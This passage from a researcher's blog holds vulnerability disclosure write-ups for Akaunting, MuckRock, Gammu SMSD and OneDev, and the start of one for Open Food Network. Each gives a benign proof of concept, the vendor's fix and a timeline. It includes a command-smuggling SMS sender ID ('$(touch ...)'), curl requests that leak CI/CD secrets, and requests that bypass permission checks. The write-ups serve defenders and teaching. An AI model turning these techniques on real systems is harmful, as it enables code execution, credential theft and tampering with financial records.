DEV Community: Santosh Kumar Puppala

It only guarded the verbs it recognized: a read-only role could cancel invoices in Akaunting

Santosh Kumar Puppala — Sun, 16 Aug 2026 20:34:41 +0000

TL;DR

What: In Akaunting — the open-source accounting app small businesses self-host to run invoices, bills and payments — the per-controller permission middleware only recognized the standard CRUD action names. The document mark* actions (markSent, markCancelled, markReceived) matched none of them, so they ran with no permission check. A user holding only a read role on invoices/bills — the built-in accountant role — could cancel documents and delete the linked payment records.
Impact: A read-only accountant sends one GET and the invoice is cancelled and its recorded payment transaction is deleted — corrupting the books — while the same account is correctly refused (403) on the normal update. CWE-862. I score it CVSS v3.1 7.1 (High) (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L) — that is my scoring; there is no advisory and no vendor rating, and a scorer who treats markSent/markReceived as non-destructive state-change lands around 5–6.
Fixed: in 3.2.0 — commit 80ef6d3b, "Added missing permissions and security fixed.." — which adds the mark* verbs to the update- permission. Reported by me, Santosh Kumar Puppala, under coordinated disclosure. No reply, no advisory; a CVE has been requested and is pending.

Why you should care

Akaunting runs the actual books for a lot of small businesses — invoices out, bills in, payments recorded against them. It is role-based by design: you hand your bookkeeper or an external accountant an account and you trust the role to bound what they can touch. The built-in accountant role is seeded read-only on invoices and bills. Read the numbers; don't change them.

The entire value of that role is the boundary. This bug is the boundary quietly not existing on three endpoints.

And the endpoints aren't harmless toggles. Cancelling an invoice doesn't just flip a status — it deletes the payment transactions recorded against it. So the least-privileged finance role in the product could reach in and destroy financial records it was never allowed to edit.

The setup

Akaunting wires up authorization centrally. Every controller inherits from a base Controller whose constructor calls assignPermissionsToController, which maps action names to permission: middleware (app/Traits/Permissions.php:496):

$this->middleware('permission:create-'.$controller)->only('create','store','duplicate','import');
$this->middleware('permission:read-'.$controller)->only('index','show','edit','export');
$this->middleware('permission:update-'.$controller)->only('update','enable','disable');
$this->middleware('permission:delete-'.$controller)->only('destroy');

It's a tidy design. Name your controller method store and it's gated behind create-<controller>; name it destroy and it needs delete-<controller>. The accountant role is granted r on sales-invoices and purchases-bills in database/seeds/Permissions.php and nothing more — so index/show/edit pass, update/destroy don't.

You've probably already spotted the shape of the problem. This is an allowlist keyed on method name. It protects exactly the handful of names in those four only() lists. Anything else a controller exposes is, by construction, ungated.

The bug

Invoices have more actions than CRUD. You can mark an invoice sent, cancelled, or received — real state changes with real side effects. Those methods are named markSent, markCancelled, markReceived. Look back at the four lists: none of those names appears in any of them.

Sales\Invoices and Purchases\Bills add no constructor override, and the admin route group only enforces permission:read-admin-panel. So the mark* methods run with no permission check beyond "can this user see the admin area at all" — which the read-only accountant can. One controller over, Sales\RecurringInvoices gates its own state-change verbs in its constructor with permission:update-sales-invoices — so the project already decided a document mutation should require update-. The mark* actions are simply where it didn't.

The routes are plain GETs (routes/admin.php):

GET  {company}/sales/invoices/{invoice}/cancelled  ->  Sales\Invoices@markCancelled
GET  {company}/sales/invoices/{invoice}/sent       ->  Sales\Invoices@markSent
GET  {company}/purchases/bills/{bill}/cancelled     ->  Purchases\Bills@markCancelled

And markCancelled is not a soft toggle. It dispatches Jobs\Document\CancelDocument:

\DB::transaction(function () {
    $this->deleteRelationships($this->model, ['transactions', 'recurring']); // deletes recorded payments
    $this->model->status = 'cancelled';
    $this->model->save();
});

deleteRelationships($model, ['transactions', ...]) deletes the payment transactions linked to the document. A read-only role reaches that.

The permission layer protected the verbs it had names for and waved through every verb it didn't — so an action that deletes payment records inherited the access level of a read-only role, purely because of what it was called.

That framing is what separates this from a design decision. If Akaunting nowhere required update- to change a document, a maintainer could argue "the accountant role is trusted." But the sibling RecurringInvoices controller demands exactly that permission for the same kind of verb. The rule the project wants exists and is enforced elsewhere; it just isn't on this path.

Proof of concept

I confirmed this end to end against the shipped release — the official akaunting/akaunting:3.1.21 image plus MariaDB, using Akaunting's own Docker compose. Everything below runs as U, a user with the built-in accountant role (role_id 4), in company 1. U is a genuine read-only account: it gets a 403 on /1/wizard, an admin-only page.

The target is deliberately benign — one synthetic invoice (INV-POC-001, status draft) with one linked £100 payment transaction (TXN-POC-001). The "payload" is a permission test, nothing more.

state BEFORE:  invoice id=1 status=draft ; transaction id=1 document_id=1 deleted_at=NULL

[CONTROL]  PUT /1/sales/invoices/1              -> HTTP 403   (update-sales-invoices — correctly denied)
[ATTACK]   GET /1/sales/invoices/1/cancelled    -> HTTP 302   (succeeds — no permission middleware)

state AFTER:   invoice id=1 status=cancelled
               transaction id=1 deleted_at=2026-06-13 02:38:12   <- linked payment record deleted

The control is the point. The same user, in the same session, is refused the normal update path (PUT → 403, because the read role lacks update-sales-invoices) and then cancels the invoice and destroys its payment transaction through a GET the framework never gated. One more, for the sibling verb:

[VARIANT]  (fresh draft INV-POC-002)
           GET /1/sales/invoices/2/sent          -> HTTP 302 ; status draft -> sent

Same shape on bills (/purchases/bills/{id}/cancelled, /received). A role provably barred from editing invoices could cancel them and delete their recorded payments.

The fix

The fix shipped in 3.2.0 — commit 80ef6d3b, message "Added missing permissions and security fixed..", 2026-07-12 — and it's the obvious one-liner: put the mark* verbs behind the same update- permission their CRUD siblings already require.

// app/Traits/Permissions.php — the update mapping, before:
$this->middleware('permission:update-'.$controller)->only('update','enable','disable');

// 3.2.0 adds the state-change verbs to that list, so markSent / markCancelled /
// markReceived now demand update-<controller> — and a read-only role gets a 403.

That is exactly the remediation I sent on June 13th, and it matches what RecurringInvoices was already doing. (I'm describing the change rather than pasting the byte-exact commit: I confirmed the commit, the fixed versions and the approach from public release metadata, not from a rebuilt-and-retested 3.2.0 image.)

Takeaways

An allowlist keyed on method name silently excludes every method you forget to name. The mapping in assignPermissionsToController is elegant, and it is the vulnerability: it defends the canonical CRUD verbs and nothing else. The moment someone adds markCancelled — a perfectly reasonable controller method — it lands outside the allowlist and ships ungated, with no error, no warning, nothing that looks wrong in review. If your framework binds authorization to names, every new method is an opt-out by default.

When a codebase already gates a verb in one place, grep for the same verb everywhere else. RecurringInvoices gated these behind update-sales-invoices. That single deliberate line is the project's own statement of intent — and it turns "is this by-design?" from an argument into a mechanical check: find the controller that does it right, then find the siblings that don't. That is how this was found, and it's a fifteen-minute audit in any RBAC app.

Read-only isn't read-only until every write path enforces it. The most dangerous account is often the one everyone assumes is safe. A role you hand out freely — the external accountant, the junior bookkeeper — is exactly the one worth pointing at your destructive endpoints.

Disclosure timeline

Date	Event
2026-06-12	Found during a source review of finance apps; live Docker PoC confirmed the same day (accountant role, DB before/after)
2026-06-13	Reported privately to `security@akaunting.com` per their SECURITY.md, coordinated disclosure, with full remediation guidance; CVE also requested via Snyk
2026-07-12	Fix lands — commit `80ef6d3b`, "Added missing permissions and security fixed..", 29 days after the report — and ships in 3.2.0
—	No reply and no advisory; a CVE has been requested and is pending

I never got a reply, so I can't prove cause and effect — but the fix that shipped is precisely the change I proposed, down to the permission it reuses.

Credit

Reported by Santosh Kumar Puppala — GitHub: @Santoshkumarpuppala, under coordinated disclosure. No CVE has been assigned yet; one has been requested.

If you run a Laravel app that maps permissions to controller-method names, go read that mapping and then list every public method on your mutating controllers. The methods that aren't in the map are your attack surface. That's the whole audit.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq & Veridor). GitHub: @Santoshkumarpuppala

It checked the request, but it changed the composer: FOIA request takeover in MuckRock

Santosh Kumar Puppala — Sun, 16 Aug 2026 17:23:06 +0000

TL;DR

What: In MuckRock — the FOIA / public-records platform that runs muckrock.com and is self-hostable — a collaborator holding only the editor tier on a request could reassign that request's owner to any account on the platform, via POST action=change_owner.
Impact: The editor hands an embargoed public-records request to an account they control, and the account that filed it is locked out of its own request entirely — HTTP 404. CWE-269 / CWE-862. I score it CVSS v3.1 8.1 (High) (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) — that is my scoring; there is no advisory and no vendor rating, and a scorer who declines the confidentiality impact would land at 6.5.
Fixed: a one-line change on main, three days after I reported it. MuckRock publishes no tagged releases and deploys continuously from main, so there is no version number to point at. Reported by me, Santosh Kumar Puppala, under coordinated disclosure. No CVE has been assigned.

Why you should care

A lot of American public-records work runs through MuckRock. Journalists, researchers and ordinary citizens file FOIA requests on it, and requests can be embargoed — deliberately hidden while a story is still being reported. It is also multi-tenant in the most literal sense: independent requesters who compete with each other share one deployment.

FOIA requests are collaborative. You invite an editor onto a request so they can help chase an agency. That invitation is a trust decision, but it is a bounded one — you're granting help, not handing over the story.

This bug is what happens when the bound isn't enforced by the code that matters.

The setup

MuckRock's authorization lives in a rules.py predicate file — a clean, readable design. Two predicates matter here (four lines, gathered from across that file):

# muckrock/foia/rules.py
can_edit          = is_owner | is_editor | is_staff | is_proxy   # :200
can_edit_composer = is_owner_composer | is_staff                 # :229

add_perm("foia.change_foiarequest",  can_edit)                   # :232
add_perm("foia.change_foiacomposer", can_edit_composer)          # :257

Read those together and the intent is unambiguous. Editing a request is something editors may do. Editing the composer — the object that carries user, i.e. who owns this request — is reserved for the owner and staff. The codebase already knew ownership was a higher-privilege concept than editing. It wrote the rule down.

The other piece of the setup is how the request detail page handles POSTs:

# muckrock/foia/views/detail.py:388-394  (abridged)
action = getattr(detail_actions, request.POST.get("action", ""), None)
...
return action(request, self.foia)

There is no allowlist. Every callable in the detail_actions module is effectively a user-reachable endpoint, selected by an attacker-supplied string. That alone isn't the vulnerability, but it means the security of the page is only as strong as the weakest permission check inside that module — and nobody audits that module as an attack surface, because it doesn't look like a router.

The bug

Here is the action the string change_owner selects:

# muckrock/foia/views/detail_actions.py:511-521  (abridged)
has_perm = foia.has_perm(request.user, "change")
...
if not has_perm or not form.is_valid():
    return _get_redirect(...)
form.change_owner(request.user, [foia])

foia.has_perm(request.user, "change") resolves to foia.change_foiarequest — which is can_edit — which includes is_editor.

And here is what the form actually writes:

# muckrock/foia/forms/detail.py:105-134  (abridged)
user = ModelChoiceField(queryset=User.objects.all())
...
foia.composer.user = new_user
foia.composer.save()
...  # an audit note recording the change is written here

Two things to notice. First, the queryset is User.objects.all() — the new owner can be any account on the platform, not just an existing collaborator on the request. Second, the field being written is foia.composer.user. That is a composer mutation, governed by can_edit_composer — the predicate that deliberately excludes editors — and can_edit_composer is never consulted.

The gate checked the permission for the object it routed through; the write landed on a different object, with a stricter permission the codebase had already defined and simply never called.

That framing matters because it's what separates this from a design decision. If rules.py had no can_edit_composer, a maintainer could reasonably say "editors are trusted, this is intended." But the project's own permission model says owner mutations are owner-and-staff only. The check that enforces that rule exists. It just isn't on this path.

It's also the only such path. revoke_access — the other way to remove someone — edits the read/edit collaborator many-to-many sets, and composer.user is in neither of them. An editor cannot dislodge the owner any other way. change_owner isn't a redundant convenience; it's a unique escalation.

Proof of concept

I reproduced this end to end against shipped code (HEAD 817f134), driving the real FOIARequestDetail.post() → change_owner() → FOIAOwnerForm.change_owner() path with detail.py, detail_actions.py, forms/detail.py and rules.py unmodified. (The harness used MuckRock's own test settings and Django's test client, because login is delegated to a separate SSO service, and an unrelated private submodule was stubbed so Django would boot. Neither touches the permission logic under test.)

Five synthetic accounts, one embargoed request, deliberately benign — the "payload" is a permission test, nothing more:

A — owner of an embargoed request
B — editor collaborator, added via the owner-conferred add_editor path
C — an unrelated account, standing in for an account B controls
D — authenticated stranger, no role at all
E — read-only viewer on the request

B, authenticated as an editor only, posted action=change_owner with user=C. The response was a 302 to the same page — identical to the failure path, which is why the database is the real oracle (foia_foiacomposer):

composer_id | composer_owner_id | foia_id | embargo_status
1           | 1  (Account A)    | 1       | embargo    <- before
1           | 3  (Account C)    | 1       | embargo    <- after B's POST

Then the part that settles the impact: A requested her own embargoed FOIA request and got HTTP 404. has_perm(A, "view") was now False. She had not been demoted; she had been erased from the object.

The controls are what make the boundary precise:

Positive control — C, now the legitimate owner, transferred it back to A. The feature works correctly for an owner. The defect is the gate, not the function.
Negative control #1 — D (no role) is blocked earlier, at get_object(). 404, owner unchanged.
Negative control #2, the sharp one — E is a viewer: has_perm(E, "view") is True, so E reaches the same handler B did, but has_perm(E, "change") is False and the transfer is refused. Owner unchanged.

So the exploitable line falls exactly at the editor tier. Not "anyone who can see the request," not "any authenticated user" — specifically the collaboration tier the owner grants, which is the one the codebase said should not be able to do this.

One detail I enjoyed: the app writes its own audit note during the transfer, so the exploit signs its own name.

foia_foianote: author_id=2  "poc_editor_b (2) changed ownership of this request
                             from poc_owner_a (1) to poc_recipient_c (3)"

The fix

The fix that landed is one line — commit 9e6e82c1, 2026-07-21, one file, +1/−1, commit message "Fix sharing". It changes the gate to the one the codebase was already asking for: authorize against the object you're about to mutate.

- has_perm = foia.has_perm(request.user, "change")
+ has_perm = foia.composer.has_perm(request.user, "change")

foia.composer.has_perm(..., "change") resolves to can_edit_composer = is_owner_composer | is_staff, so editors are refused and owners are unaffected.

Two hardening changes would belong with it, and as far as I can tell were not part of that one-line commit: replace the getattr(detail_actions, action) dispatch with an explicit allowlist, and constrain FOIAOwnerForm.user to plausible targets rather than every account in the database.

MuckRock has no tagged releases — it deploys continuously from main, so "fixed in" here means "landed on main" rather than a version number. I confirmed the fix from the commit; I have not rebuilt a patched instance and re-run the PoC against it.

Takeaways

Authorize the object you mutate, not the object you routed through. The permission check and the write were on different models. That's an easy mistake in any ORM where a.b.c = x reads like one operation on a, and it's invisible to a reviewer skimming for "is there a permission check here?" — because there is one. It's just checking the wrong noun.

When a codebase defines two permissions for two tiers, grep every call site of the looser one. can_edit vs can_edit_composer is a documented intent. Any place that writes composer state while checking can_edit is, by the project's own standard, a bug. That's a mechanical audit you can run in minutes, and it generalizes: find the permission pair, then find the mismatched call sites.

getattr(module, user_input) dispatch quietly promotes a whole module into a router. Every function becomes reachable, and reviewers stop treating the module as an attack surface because it has no URL patterns. Siblings in that module — promote, demote, generate_key, withdraw — appear to share the same gate; I flagged them as leads rather than chasing them, which is exactly why variant sweeps are worth doing after any confirmed sink.

Disclosure timeline

Date	Event
2026-07-14	Found during source review; live PoC confirmed the same day (5-account harness, positive control + two negative controls)
2026-07-18	Reported by email to MuckRock's maintainers and general contact address under coordinated disclosure, with full remediation guidance
2026-07-21	One-line fix lands on `main` — commit `9e6e82c1`, "Fix sharing", one file, `+1/−1`. Three days after the report.
—	No CVE assigned

Credit

Reported by Santosh Kumar Puppala — GitHub: @Santoshkumarpuppala. My thanks to the MuckRock team, who run a genuinely important piece of public-interest infrastructure on a nonprofit budget, and who turned this around in three days.

If you maintain a Django app with a rules.py-style predicate file, go grep for the tighter predicate and check who's actually calling it. That's a fifteen-minute audit and it's how this one was found.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq & Veridor). GitHub: @Santoshkumarpuppala

A text message that runs a command: OS command injection in Gammu SMSD (GHSA-9vjj-v46c-c5qf)

Santosh Kumar Puppala — Fri, 07 Aug 2026 15:53:47 +0000

TL;DR

What: Gammu SMSD — the daemon behind a huge number of SMS gateways, alerting rigs and 2FA senders — runs an operator-configured hook every time a text arrives. With the Files backend and RunOnReceive enabled, the SMS sender ID was escaped for use as a filename but not for the shell, and then appended to a /bin/sh -c command line. A sender ID containing shell metacharacters executed arbitrary commands as the gammu-smsd user.
Impact: Remote, unauthenticated code execution triggered by sending a text message. Commands run with the daemon's privileges. Missing neutralization of special elements in an OS command (CWE-78).
Fixed in: Gammu 1.43.3. Advisory GHSA-9vjj-v46c-c5qf, published 25 July 2026, rated High (8.1), credited to me as reporter. CVE requested, pending GitHub assignment.

Why you should care

Most command-injection bugs need the attacker to already be talking to your HTTP API. This one needs a phone number.

Gammu SMSD sits on the receiving end of a modem or GSM dongle. Hospitals use it for on-call paging, monitoring systems use it for SMS alerts, and plenty of small shops use it as the cheap half of a 2FA setup. A very common configuration is: store incoming messages as files (the Files backend), and run a script whenever one arrives (RunOnReceive) — to forward it, log it, or trigger something.

The input to that script comes from the outside world over the cellular network. The sender doesn't authenticate to anything. And on many networks the sender ID is an arbitrary alphanumeric string, not a phone number — that's how banks send texts that say "HSBC" instead of a number. Alphanumeric sender IDs are attacker-controllable, and they can carry the exact characters a shell treats as syntax.

That is the whole bug: a value from a text message reaches /bin/sh.

The setup

Gammu SMSD's Files backend writes each received message to a file whose name includes the sender. To keep that filename legal, it runs the sender ID through an escaping function first. Here is what that function removes, verified at the shipped tag v1.43.2:

// smsd/services/files.c — SMSDFiles_EscapeNumber()
// Replaces with '_' :  * < > : " / \ | ?  and control chars
// Leaves untouched   :  $  ` ;  &  (  )  space  — all valid in a GSM-7 sender ID

Look at the two sets. The characters it strips are the ones that would break a filename. The characters it leaves are the ones that matter to a shell: $, backtick, ;, &, (, ). The escaping was written to make a safe filename, and at that job it succeeds. It was never written to make a safe shell token, and nobody asked it to.

That distinction — safe for the filesystem, unsafe for the shell — is the entire finding.

The bug

The escaped sender ID goes into the filename:

// smsd/services/files.c — filename built from the escaped sender (buffer2)
sprintf(FileName, "IN%s_%s_%02d.txt", datetime, buffer2, msgcount);

The filename is then handed back to the core daemon as the "location" of the received message, and the core pastes it straight onto the hook command line:

// smsd/core.c — SMSD_RunOnCommand(), pre-fix
snprintf(result, len, "%s %s", command, locations);   // command = your RunOnReceive script; locations = the filename

And that string is executed through the shell:

// smsd/core.c — pre-fix
execl("/bin/sh", "sh", "-c", cmdline, NULL);

sh -c parses its argument as a shell command. So every $(...), backtick, ; and & that survived the filename escaping is now shell syntax. The filename IN..._$(id)_00.txt doesn't name a file — it runs id.

The "aha"

The sender ID was escaped for the place it was going to be stored, and then used somewhere else entirely. A sanitizer is only correct relative to the sink it was written for. This one guarded a filename and was then trusted at a shell — two different grammars, one value, no re-checking at the boundary between them.

Proof of concept (benign)

You do not need a modem to see it. The unsafe path is SaveInboxSMS → RunOnReceive, and it can be exercised with gammu-smsd-inject or by dropping a crafted message into the spool that a live SMS would produce. The safe, non-destructive marker is a sender ID whose "command" just writes a file:

# gammu-smsd configured with:  Service = files   RunOnReceive = /path/to/hook.sh
# A received message whose alphanumeric sender ID is:
#     x$(touch /tmp/gammu_poc)x
#
# The Files backend escapes it for the filename (the $, ( ) survive),
# the core appends the filename to the hook command, and /bin/sh evaluates it:

$ ls -la /tmp/gammu_poc
-rw-r--r-- 1 gammu-smsd gammu-smsd 0 ... /tmp/gammu_poc     # the command ran

The marker is touch, not anything harmful — the point is only that a substring of an incoming text message reached /bin/sh and executed. Swap touch for anything and it runs with the daemon's privileges.

Preconditions, stated honestly. This is why the advisory is High rather than Critical, and why the CVSS carries AC:H:

The daemon must use the Files backend and have RunOnReceive configured. Database backends use numeric row IDs, which have no shell metacharacters, so they are not affected.
The attacker must be able to deliver an SMS whose sender ID carries the metacharacters. Alphanumeric sender IDs make this feasible; a deployment that restricts accepted senders (IncludeNumbers) shrinks the surface, though sender IDs can be spoofed.

Neither precondition is exotic — Files + RunOnReceive is a documented, common setup — but they are real, and they belong in the writeup.

The fix

Fixed in 1.43.3 via PR #1129. The maintainer (Michal Čihař) did not add more escaping. He removed the shell's ability to see the value at all.

Before, the message identifiers were concatenated into the command string. After, the command runs with the identifiers passed as separate literal arguments, and the string the shell parses no longer contains them:

-   snprintf(result, len, "%s %s", command, locations);
+   snprintf(result, len, "%s \"$@\"", command);

-   execl("/bin/sh", "sh", "-c", cmdline, NULL);
+   /* argv = { "sh", "-c", command, "sh", location1, location2, ... } */
+   execv("/bin/sh", argv);

The command line the shell evaluates is now the fixed text your_command "$@". The received-message identifiers are handed to sh as positional parameters ($@) — data the shell expands into the argv of your hook, never text it parses as syntax. $(...) in a sender ID is now just characters in $1.

The locations string was also restructured from a hand-built space-joined buffer into a GSM_StringArray, so each identifier stays a distinct element instead of being flattened into one string that has to be re-split. Same idea, one layer down: keep the values as a list, never as a line to be re-parsed.

Windows gets a parallel fix — CreateProcess has no separate argv, so the patch rejects hook arguments containing cmd.exe metacharacters (" % ! ^ & | < > ( ) and control chars) rather than trying to quote them.

And the part I liked best: the PR ships a test that injects $(touch marker), backticks, ;, & and newlines through the real SMSD_RunOn path and asserts the marker file is never created. The fix comes with a regression test that fails on the original bug.

Takeaways

A sanitizer is only valid for the sink it was written for. Escaping-for-a-filename and escaping-for-a-shell are different problems with different character sets. The moment a value crosses from one context to another, the old guarantee is void — re-establish it at the new boundary or don't cross.
Don't hand untrusted data to sh -c as part of the command string. Pass it as arguments (execv with a real argv, or "$@") so the shell treats it as data, not syntax. This removes the entire bug class instead of playing character-blacklist whack-a-mole.
Remember the non-HTTP input paths. SMS, email headers, filenames, DNS, QR codes — anything that becomes a string in your process is input. This value arrived over the cellular network from an unauthenticated sender, and it still reached a shell.
The best fix narrows what the dangerous component can see. The maintainer didn't escape harder; he made sure the shell never received the value as code. Reducing what a sink is even capable of interpreting beats trying to enumerate everything bad.

Disclosure timeline

2026-07 — Reported to the Gammu maintainer via GitHub private vulnerability reporting, with the Files + RunOnReceive precondition and a benign marker PoC. Noted the escaping was correct for filenames and incomplete for the shell.
2026-07-25 — Advisory GHSA-9vjj-v46c-c5qf published, rated High 8.1, fix shipped in 1.43.3 (PR #1129), credited to me as reporter.
CVE — requested; GitHub assignment pending (typically a few weeks).

Credit / CTA

If you run Gammu SMSD, upgrade to 1.43.3+. If you can't yet and you use the Files backend, disable RunOnReceive or switch to a database backend as an interim measure — both are in the advisory's workarounds.

If you write anything that shells out: grep your codebase for system(, popen(, and sh -c, and for every hit ask where the arguments came from and what escaped them for what. That mismatch is where these live.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq & Veridor). GitHub: @Santoshkumarpuppala

The parent check passed, so the forks' secrets shipped anyway — cleartext CI/CD secrets in OneDev (GHSA-p3rv-f672-8x57)

Santosh Kumar Puppala — Fri, 07 Aug 2026 11:10:07 +0000

TL;DR

What: GET /~api/projects/{id}/forks in OneDev (self-hosted Git + CI/CD + issue tracker) authorized the parent project, then returned the raw Collection<Project> entity of its forks — and Jackson serialized every field, including each fork's cleartext CI/CD job secrets.
Impact: Anyone who can read the parent harvests the live deploy tokens / registry / cloud credentials of every fork — including private forks they have no access to. If the parent is a public project with anonymous access, it's unauthenticated. Missing authorization leading to information exposure (CWE-862 → CWE-200).
Fixed in: OneDev 16.0.0 (commit 1e902fdd). Advisory GHSA-p3rv-f672-8x57, published 7 August 2026, rated Moderate, credited to me as reporter. CVE requested and pending.

Why you should care

CI/CD job secrets are the crown jewels of a build system. They're not passwords a human types — they're the deploy tokens, container-registry logins, and cloud credentials your pipeline uses to push to production. A read-only information leak sounds unexciting until you notice what is being read: live credentials that grant write access somewhere else. That's how "just an info disclosure" turns into a foothold for real downstream compromise.

This one is also a good teaching case because nothing in the code looks wrong at a glance. There is an authorization check. It's just checking the wrong object. And the leak rides in on a serialization default that the endpoint author never thought about.

A note on severity

The published advisory rates this Moderate, and that is the number to quote. My own scoring was higher — 8.6, using CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N — and the whole difference sits in one metric: scope.

I set S:C because the data disclosed is credentials for other systems. The confidentiality loss doesn't stop at OneDev; a leaked deploy token spends just as well against your registry or your cloud account. Scored strictly against the vulnerable component alone, S:U and a Moderate rating are perfectly defensible.

I'm flagging the disagreement rather than quietly picking whichever number flatters the writeup. Reasonable people score credential disclosure differently, and the maintainer's rating is the one on the public record.

The setup

OneDev is a Java application (Apache Shiro for auth, JAX-RS for the REST layer, Jackson for JSON). Projects can be forked, and each project — parent or fork — carries its own buildSetting, which holds a list of jobSecrets. A JobSecret has a name and a value, and that value is the actual credential the CI job uses at runtime.

Forks are their own projects with their own permissions. I can be allowed to read a parent project while having zero access to a private fork of it. The REST API reflects that: GET /~api/projects/{forkId} on a fork I can't see returns 401/403. So far, correct.

The interesting endpoint is the one that lists a project's forks.

The bug

Here's the handler, verified at the shipped tag v15.1.6:

// ProjectResource.java:153-161
@GET
@Path("/{projectId}/forks")
public Collection<Project> getForks(@PathParam("projectId") Long projectId) {
    Project project = projectService.load(projectId);
    if (!SecurityUtils.canAccessProject(project))     // <-- checks the PARENT
        throw new UnauthorizedException();
    return project.getForks();                        // <-- raw Collection<Project> entity
}

Two decisions combine badly:

The authorization check is on project — the parent you named in the URL. There is no per-fork check. Once you can read the parent, the method trusts you with whatever it returns.
It returns the raw Collection<Project> entity — not a DTO. Every other project endpoint returns a ProjectData DTO with ~13 hand-picked fields and no buildSetting. This one hands back the persistence objects directly.

Now bring in Jackson's global configuration:

// ObjectMapperProvider.java:128-129
mapper.setVisibility(PropertyAccessor.FIELD, JsonAutoDetect.Visibility.ANY);

FIELD visibility set to ANY means every private field serializes unless it's explicitly ignored. So look at what's on Project:

// Project.java:423-425
@Lob
@Column
private ProjectBuildSetting buildSetting;   // no @JsonIgnore, not transient

buildSetting has no @JsonIgnore and isn't transient, so it serializes. It contains jobSecrets, and:

// JobSecret.java
private String name;
private String value;   // plain String — NOT encrypted at rest

@Secret
public String getValue() { return value; }   // @Secret is a UI display hint on the getter

The @Secret annotation is a UI convenience — it tells the web frontend to render a masked field. It lives on the getter, and under FIELD visibility Jackson reads the private value field directly and ignores the getter entirely. So the annotation that looks like it protects the secret does nothing here. The value is stored in cleartext and serialized in cleartext.

Five steps, start to finish:

The "aha"

The endpoint authorized the object you asked for, but leaked the objects it returned — and the one field everyone assumed was protected was only cosmetically masked.

Proof of concept (benign)

Confirmed live on 1dev/server:15.1.6. The whole thing is a marker, not a weapon — the "secret" is a string I set to supersecret123.

Setup: a parent project parent-proj (id 1) and a private fork fork-a (id 2, forkedFromId=1) that has one job secret, DEPLOY_TOKEN = supersecret123, set through the admin-only settings endpoint.

Low-privilege case — attacker granted Code Reader on the parent only, no access to the fork:

# Control: direct access to the fork is correctly denied
$ curl -su attacker:pw http://localhost:6610/~api/projects/2
HTTP/1.1 403 Forbidden

# The leak: list the parent's forks
$ curl -su attacker:pw http://localhost:6610/~api/projects/1/forks
HTTP/1.1 200 OK
[ { "id": 2, "name": "fork-a",
    "buildSetting": { "jobSecrets": [
      { "name": "DEPLOY_TOKEN", "value": "supersecret123" } ] } } ]

Unauthenticated case — parent is public with anonymous access enabled:

# Control: the fork itself, no auth
$ curl -s http://localhost:6610/~api/projects/2
HTTP/1.1 401 Unauthorized

# The leak, no credentials at all
$ curl -s http://localhost:6610/~api/projects/1/forks
HTTP/1.1 200 OK
[ ... "value": "supersecret123" ... ]

The asymmetry is the proof: the fork is denied directly (401/403), yet the same caller pulls the fork's live secret out through the parent's /forks. That value never appears in any DTO-based endpoint — it only escapes here.

The fix

The patch is commit 1e902fdd — "fix: Job secrets defined in forked projects may leak (OD-2822)" — shipped in OneDev 16.0.0. One file, three lines:

-    public Collection<Project> getForks(@PathParam("projectId") Long projectId) {
+    public Collection<ProjectData> getForks(@PathParam("projectId") Long projectId) {
         Project project = projectService.load(projectId);
         if (!SecurityUtils.canAccessProject(project))
             throw new UnauthorizedException();
-        return project.getForks();
+        return project.getForks().stream().map(ProjectData::from).collect(Collectors.toList());
     }

Note what did not change: the authorization check is still on the parent, and there is still no per-fork check. The fix is entirely on the serialization side — the return type goes from Collection<Project> to Collection<ProjectData>, so the endpoint hands back the same DTO its sibling endpoints already used. ProjectData has no buildSetting field, so there is nothing for Jackson to reach into regardless of who is asking.

That is a legitimate fix and arguably the better one. The parent check was never the problem; the problem was that a method with a correct-looking guard returned objects the guard had never evaluated. Narrowing the projection removes the leak at its source rather than adding a second check that a future refactor could drift away from.

Belt-and-suspenders hardening worth doing in any similar codebase: add @JsonIgnore to Project.buildSetting, and encrypt JobSecret.value at rest so a stray serialization is inert rather than catastrophic.

Takeaways

Authorize the data you return, not just the object you were handed. A check on the URL's target says nothing about the child records that ride along in the response. Every returned collection needs its own scoping.
Never serialize persistence entities from an API. DTOs aren't ceremony — they're an allowlist. The moment one endpoint returns a raw entity while its siblings return DTOs, that endpoint is leaking whatever fields got added to the entity since. Field-level Jackson visibility (Visibility.ANY) makes "add a field to the model" silently mean "expose a field in the API."
Getter-level annotations don't protect field-level serialization. @Secret on a getter looks like protection and isn't, once the serializer is configured to read fields. If a value must never leave the process in cleartext, encrypt it at rest — don't rely on a display hint.

Disclosure timeline

2026-06-13 — Found and confirmed with a live Docker PoC on 1dev/server:15.1.6 (both the unauthenticated and low-privilege cases).
2026-06-25 — Reported to the maintainer via coordinated disclosure, distinguishing it from the recent fork/project authorization CVEs (CVE-2026-11438/39/40/41), which are write-side authz fixed in 15.0.6 and did not cover this /forks read.
2026-06-26 — Maintainer confirmed, asked for a 30-day window, and committed to publishing an advisory.
16.0.0 — Fixed (commit 1e902fdd): getForks returns a DTO. The 15.x line remains affected.
2026-08-07 — Advisory GHSA-p3rv-f672-8x57 published, credited to me as reporter. CVE requested and pending.

Credit / CTA

If you run OneDev, upgrade to 16.0.0+ and rotate any job secrets on projects that had public or widely-readable parents. If you write APIs, grep your codebase for handlers that return entities instead of DTOs — that's where the next one of these lives.

Found something similar or want to compare notes on multi-tenant authz bugs? I'm always up for it.

Santosh Kumar Puppala — AI/ML Platform Architect and independent security researcher. GitHub: @Santoshkumarpuppala

They scoped the customer and forgot the customer's ledger — a High-severity cross-tenant BOLA in Open Food Network

Santosh Kumar Puppala — Fri, 07 Aug 2026 02:55:47 +0000

TL;DR

What: POST /api/v1/customer_account_transaction in Open Food Network authorized against the class, not the record. It took customer_id straight from the request body, so a manager of Enterprise A could create transactions against Enterprise B's customers — and read the resulting balance back.
Impact: Arbitrary credit/debit of another enterprise's customer ledger, plus disclosure of that customer's running balance. CWE-639 + CWE-862, CVSS 7.1 (High), integrity High.
The part I like: the parent Customer model was correctly scoped per enterprise. Only the child transaction wasn't. And a feature-flag removal in 5.7.1 quietly made the bug reachable on every instance.
Fixed in: OFN 5.7.4. Advisory GHSA-7cqp-qvh5-7x85, published 28 July 2026, credited to me as reporter. CVE pending.

Why you should care

